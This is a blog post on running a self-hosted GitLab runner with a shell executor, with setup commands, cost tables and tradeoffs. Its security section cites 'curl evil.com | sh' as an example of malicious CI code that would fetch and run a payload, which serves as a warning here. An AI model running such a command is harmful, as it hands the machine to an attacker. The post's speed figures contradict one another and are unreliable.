How I Stopped Burning GitLab's 400-Minute Quota — A Self-Hosted Runner on My Own Box
Three blog posts in one day and I was about to bump into GitLab’s free-tier CI quota. Not a hypothetical: I shipped 19 commits yesterday — eleven new posts, a CI image refactor, and a homepage fix — and watched the shared-runner counter tick up each time.
Then the pipeline started failing entirely. My Dockerfile
pinned ARG BB_VERSION=1.12.218 — that release had been
quietly removed from GitHub, so every push 404’d at the babashka
download step. The pages job was being skipped. The site
wasn’t deploying through the old flow at all.
So I had two problems. One I caused (stale version pin). One I didn’t (400-min cap on shared runners). Same solution for both: stop borrowing compute from GitLab.
The Realization
The instinct is to defend the quota: bigger account, paid tier, fewer commits. But GitLab’s docs say it plainly — the 400-minute cap applies only to GitLab-managed shared runners. Self-hosted (custom) runners are explicitly exempt — your hardware, your minutes, no counter.
| Runner type | Counts against 400 min cap? | Free? | You operate it? |
|---|---|---|---|
| Shared (instance) runner | ✅ Yes | Up to 400 min/mo | No — GitLab does |
| Group runner | ✅ Yes | Up to 400 min/mo | No — GitLab does |
| Self-hosted runner | ❌ No | Always free | ✅ Yes |
That’s the entire insight. The cost is not platform-level — it’s who owns the CPU.
What Changed
Same pages job, identical artifact, GitLab Pages
unchanged. Only difference: the executor is my box
instead of GitLab’s box. And since GitLab’s quota model only taxes
GitLab’s box, I’m in the clear. The hero diagram above already
shows the topology — no second pass needed.
Cost Math
| Plan | Capacity | Cost | Per-publish cost |
|---|---|---|---|
| GitLab Free + shared runner | 400 min/mo | $0 | ~1 min/push → 400-publish ceiling |
| GitLab Free + self-hosted | Unlimited | $0 | One laptop-fan’s worth of electricity |
| GitLab Premium (10k min) | 10,000 min/mo | $29/user/mo | Bounded |
If you publish weekly, 400 minutes is plenty. If you publish daily or debug through CI, it bites. Self-hosting beats paying — same tier, $0 against quota.
The Simplification Bonus
The old pipeline ran a docker-build stage first — it
baked an eclipse-temurin:25-jre-alpine image with
babashka, pandoc, and d2
pre-installed, pushed it to the project container registry, then the
pages job pulled the SHA-pinned image just to call
bb build.
That image was the reason we even needed CI in the first place. On my own host, every one of those tools is already installed. So:
- ✅
Dockerfiledeleted - ✅ Container registry push deleted
- ✅
docker-buildstage deleted - ✅ Runner switched from
dockerexecutor toshellexecutor - ✅ Build directly:
bb build && bb validate-links - ✅ Pipeline drops from ~45s (broken DinD + image pull) to ~78s warm
(
bb build+bb validate-linksmeasured locally on the host; ~88s end-to-end once GitLab runner handshake, checkout, and artifact upload are included)
That’s not just “faster” — it’s an entire artifact of infrastructure erased because the constraint that justified it (“we need a portable CI image”) no longer applies when the CI literally is my portable image.
Concrete Steps (Linux/Mac)
Install the runner binary. No root needed —
~/.local/bin/works:curl -L "https://gitlab-runner-downloads.s3.amazonaws.com/v17.11.0/binaries/gitlab-runner-linux-amd64" \ -o ~/.local/bin/gitlab-runner chmod +x ~/.local/bin/gitlab-runnerGet a project runner registration token from Settings → CI/CD → Runners in your GitLab project (or via the API:
glab api projects/<namespace%2F<project>→runners_token).Register with a tag — the tag routes jobs explicitly to this runner:
~/.local/bin/gitlab-runner register --non-interactive \ --config ~/.config/gitlab-runner/config.toml \ --url "https://gitlab.com/" \ --registration-token "$TOKEN" \ --executor "shell" \ --description "homepage-self-hosted" \ --tag-list "homepage-self-hosted" \ --run-untagged=falseRun it, headless:
setsid ~/.local/bin/gitlab-runner run \ --config ~/.config/gitlab-runner/config.toml \ > ~/.local/var/gitlab-runner.log 2>&1 < /dev/null &Tag your
pagesjob. In.gitlab-ci.yml, addtags: [homepage-self-hosted]. The shared runner never sees the job.
For a 24/7 install, drop step 4 into a systemd --user
unit, a small VPS, or a Raspberry Pi. For a personal blog, a
long-running notebook runner is enough.
The Dogfood Publish
This post is the first one to go through the new
pipeline. The runner was registered a few minutes before this commit.
The tag-list = "homepage-self-hosted" matches the
tags: [homepage-self-hosted] on my pages job
and nothing else — so GitLab routes the build straight to my box. No
shared-runner counter touched.
Full flow:
- Install + register runner (5 min)
- Simplify
.gitlab-ci.yml: tag onpages, dropdocker-build - Write this post and the hero diagram
bb build && bb validate-linkslocally — sanity checkgit add -A && git commit && git push origin main- Local runner picks up the
pagesjob (~10s) - Pipeline uploads
public/→ Pages publishes → nurazhar.com updated - Zero shared-runner minutes consumed
Honest aside: if my shell dies, the runner dies. For a blog — fine. For a team — systemd or a VPS.
What This Proves on a CV
- CI/CD ownership. Didn’t just use the platform — reshaped its execution boundary. Junior writes “ran CI.” Senior writes “re-architected the executor topology to bypass a recurring quota, deleted an unnecessary artifact layer, and verified the change dogfood-style.”
- Cost-aware engineering. $0 saved vs $29/mo billed = clear win. Documented it (this post) so the next engineer doesn’t burn the same hours.
- Architecture simplified, not just ported. Deleted the Dockerfile, deleted the registry push, deleted a stage. The “I removed more than I added” line lands on a CV.
- Dogfooding & learning in public. Wrote the tutorial while the change was happening, not after sanitisation. Honest version, broken bits included.
- Tool-free repair. Replaced one tool-free service with another tool-free service. No paid vendor switch, no migration weekend, no new hire. Just relocated the CPU.
The Honest Tradeoffs
Self-hosting is great. It is not free:
- Single point of failure. Laptop asleep → no deploys. For a blog, fine. For a team, run a small VPS or a Raspberry Pi.
- Security. Your machine now runs arbitrary CI code
from your repo. If a branch ever ships
curl evil.com | sh, it executes on your laptop. Thedockerexecutor is a sandbox; theshellexecutor is not. Usedockerexecutor + DinD for untrusted inputs. - Maintenance. OS patches, runner upgrades, cert rotation — those are now yours.
- Network. The runner needs to poll GitLab. Behind most home NATs that works.
| Dimension | Shared runner | Self-hosted runner |
|---|---|---|
| Quota cost | Burns 400 min cap | $0 against quota |
| Speed (warm) | ~45s (DinD boot + image pull) | ~78s (bb build + bb validate-links
natively) |
| Job sandboxing | Yes (ephemeral container) | Limited on shell |
| Maintenance | None (GitLab owns it) | Yours |
| Best for | Teams, multi-person projects, security-sensitive inputs | Solo devs, daily pushing, low-risk builds |
If you’re a team, pay GitLab or use group runners. If you’re a solo dev who publishes often, this is the cheapest DevOps upgrade you’ll make this year.
The Algorithm
- Note shared-runner usage.
- Check whether it bites.
- If yes, register a self-hosted runner with a tag.
- Tag the
pagesjob with the same tag. - Watch the pipeline run on your own machine. Watch the quota stay at 0.
That’s it. No platform migration, no new vendor, no monthly bill. Just relocate the CPU.
What I’d Add in Production
For a team setup I’d tighten three things:
dockerexecutor instead ofshell— same speed, real per-job sandbox.systemd --userunit on the runner host — survives reboots, scoped to my user.glab ci lintbefore commit — catches YAML syntax bugs in seconds.
None of those are blockers for the publish today.
One-Liner
The cheapest DevOps upgrade you’ll make this year is moving the CI executor from GitLab’s box to your own — same Pages, same artifact, zero shared-runner minutes burned.